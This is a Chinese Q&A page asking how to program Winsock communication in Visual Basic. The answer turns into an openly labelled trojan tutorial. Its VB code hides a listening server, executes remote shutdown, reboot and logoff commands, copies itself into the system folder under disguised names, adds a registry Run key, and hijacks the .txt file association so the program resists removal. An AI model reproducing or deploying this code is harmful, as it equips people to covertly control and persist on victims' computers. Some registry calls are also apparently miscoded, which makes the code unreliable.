VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?相关的知识,希望对你有一定的参考价值。
参考技术A 首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。\\x0d\\x0a 接下来我们回来frmServer窗体模块中,添加如下代码:\\x0d\\x0a Private Sub form_Load()\\x0d\\x0a With Me\\x0d\\x0a .sckServer.LocalPort = 4000‘本地端口\\x0d\\x0a .sckServer.Listen ‘开始监听\\x0d\\x0a End With\\x0d\\x0a End Sub\\x0d\\x0a ‘接受客户端的连接请求。\\x0d\\x0a Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)\\x0d\\x0a With Me\\x0d\\x0a If .sckServer.State <>sckClosed Then .sckServer.Close\\x0d\\x0a .sckServer.Accept (requestID)\\x0d\\x0a End With\\x0d\\x0a End Sub\\x0d\\x0a 下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:\\x0d\\x0a Private Sub form_Load()\\x0d\\x0a With Me\\x0d\\x0a .sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。\\x0d\\x0a .sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.\\x0d\\x0a End With\\x0d\\x0a End Sub\\x0d\\x0a Private sub cmdConnect_Click()\\x0d\\x0a SckClient.Connect\\x0d\\x0a End sub\\x0d\\x0a 至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。\\x0d\\x0a 这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能———关机,重启,注销。好,开始吧!\\x0d\\x0a 在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:\\x0d\\x0a Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long\\x0d\\x0a Public Const EWX_LOGOFF = 0\\x0d\\x0a Public Const EWX_REBOOT = 2\\x0d\\x0a Public Const EWX_SHUTDOWN = 1\\x0d\\x0a Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long\\x0d\\x0a Public Type RECT\\x0d\\x0a Left As Long\\x0d\\x0a Top As Long\\x0d\\x0a Right As Long\\x0d\\x0a Bottom As Long\\x0d\\x0a End Type\\x0d\\x0a 注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。\\x0d\\x0a 下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:\\x0d\\x0a Private Sub cmdExit_Click()\\x0d\\x0a Me.sckClient.SendData "Exit"\\x0d\\x0a End Sub\\x0d\\x0a \\x0d\\x0a Private Sub cmdLogoff_Click()\\x0d\\x0a Me.sckClient.SendData "Logoff"\\x0d\\x0a End Sub\\x0d\\x0a \\x0d\\x0a Private Sub cmdReboot_Click()\\x0d\\x0a Me.sckClient.SendData "Reboot"\\x0d\\x0a End Sub\\x0d\\x0a 全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。\\x0d\\x0a Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)\\x0d\\x0a Dim strData As String\\x0d\\x0a With Me\\x0d\\x0a \'\' 接收客户请求的信息\\x0d\\x0a .sckServer.GetData strData\\x0d\\x0a Select Case strData\\x0d\\x0a Case "Exit"\\x0d\\x0a \'\'关机\\x0d\\x0a Call ExitWindowsEx(EWX_SHUTDOWN, 0)\\x0d\\x0a Case "Reboot"\\x0d\\x0a \'\'重启\\x0d\\x0a Call ExitWindowsEx(EWX_REBOOT, 0)\\x0d\\x0a Case "Logoff"\\x0d\\x0a \'\'注销\\x0d\\x0a Call ExitWindowsEx(EWX_LOGOFF, 0)\\x0d\\x0a End Select\\x0d\\x0a End With\\x0d\\x0a End Sub\\x0d\\x0a 好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!\\x0d\\x0a 回到Server工程中的modApi中加入如下API函数:\\x0d\\x0a Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\\x0d\\x0a Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\\x0d\\x0a Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\\x0d\\x0a Public Const REG_BINARY = 3\\x0d\\x0a Public Const REG_SZ = 1\\x0d\\x0a Public Const HKEY_LOCAL_MACHINE = &H80000002\\x0d\\x0a Public Const HKEY_CLASSES_ROOT = &H80000000\\x0d\\x0a 写到注册表启动组中的过程。\\x0d\\x0a Public Sub StartupGroup()\\x0d\\x0a Dim sKey As String\\x0d\\x0a Dim result As Long\\x0d\\x0a Dim hKeyID As Long\\x0d\\x0a Dim sKeyVal As String\\x0d\\x0a \\x0d\\x0a sKey = "Systrsy" \'\'启动组中的键,找一个与系统文件相近的。\\x0d\\x0a sKeyVal = "C:\windows\system\systrsy.exe" \'\'木马文件的路径,可以用GetSystemDirectory来取得系统路径。\\x0d\\x0a result = RegOpenKey(HKEY_LOCAL_MACHINE, _\\x0d\\x0a "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)\\x0d\\x0a If result = 0 Then\\x0d\\x0a result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _\\x0d\\x0a Len(sKey) + 1)\\x0d\\x0a End If\\x0d\\x0a End Sub\\x0d\\x0a 好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:\\x0d\\x0a Public Sub WriteToTxt()\\x0d\\x0a Dim result As Long\\x0d\\x0a Dim hKeyID As Long\\x0d\\x0a Dim skey As String\\x0d\\x0a Dim skeyVal As String\\x0d\\x0a skey = "txtfile\shell\open\command"\\x0d\\x0a skeyVal = "C:\windows\system\txtView.exe"\\x0d\\x0a result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)\\x0d\\x0a If result = 0 Then\\x0d\\x0a result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _\\x0d\\x0a skeyVal, Len(skeyVal) + 1)\\x0d\\x0a End If\\x0d\\x0a End Sub\\x0d\\x0a 肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。\\x0d\\x0a 好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:\\x0d\\x0a Dim sCurrentPath As String, sSystemDir As String\\x0d\\x0a sCurrentPath = App.Path & "\" & App.EXEName & ".exe"\\x0d\\x0a sSystemDir = “C:\windows\system”\\x0d\\x0a On Error Resume Next\\x0d\\x0a ‘复制文件成系统目录下的Systrsy.exe\\x0d\\x0a FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"\\x0d\\x0a On Error Resume Next\\x0d\\x0a 复制文件成系统目录下的txtView.exe\\x0d\\x0a FileCopy sCurrentPath, sSystemDir & "\txtView.exe"\\x0d\\x0a \\x0d\\x0a 调用\\x0d\\x0a Call startupGroup\\x0d\\x0a Call WriteToTxt\\x0d\\x0a \\x0d\\x0a \'\'判断程序是否下在运行\\x0d\\x0a If App.PrevInstance Then\\x0d\\x0a ‘如果已经运行就退出。\\x0d\\x0a End\\x0d\\x0a End If以上是关于VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?的主要内容,如果未能解决你的问题,请参考以下文章
VBA中的winsock 和VB中的winsock可以互连吗